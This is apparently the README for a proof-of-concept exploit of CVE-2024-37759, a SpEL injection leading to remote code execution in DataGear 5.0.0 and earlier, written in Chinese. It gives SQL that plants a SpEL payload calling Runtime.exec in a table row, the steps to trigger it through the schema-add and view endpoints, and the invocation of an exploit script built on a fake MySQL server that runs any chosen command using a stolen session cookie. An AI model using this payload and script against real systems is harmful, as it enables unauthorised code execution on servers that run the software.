
CVE-2024-37759 的概念验证利用,这是 DataGear 5.0.0 及更早版本中的一个 SpEL 注入漏洞,可通过精心构造的数据库表实现远程代码执行。
DataGear 5.0.0 及更早版本存在 SpEL 表达式注入漏洞,可导致远程代码执行。
当你请求 /data/{schemaId}/{tableName}/view 接口时,如果数据库表没有主键,攻击者可以在 data 字段中注入恶意的 SpEL 表达式。当点击“查看”按钮时,SpEL 表达式将会被执行。
要执行攻击,你可以创建一个恶意的数据库表,如下所示:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
然后,登录并在模式添加接口 /schema/saveAdd 中添加这个 MySQL 数据库。随后点击“查看”按钮,SpEL 表达式将被执行。
此利用脚本修改自 MySQL_Fake_Server。首先,登录门户并获取 cookie "JSESSIONID"。然后你可以使用此利用脚本自动执行命令。
-t 参数指定目标易受攻击的站点,-o 指定 MySQL 假服务器可访问的公网 IP 地址,-p 是假服务器端口,-s 是 "JSESSIONID" 的 cookie 值,-c 指定要执行的命令。
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"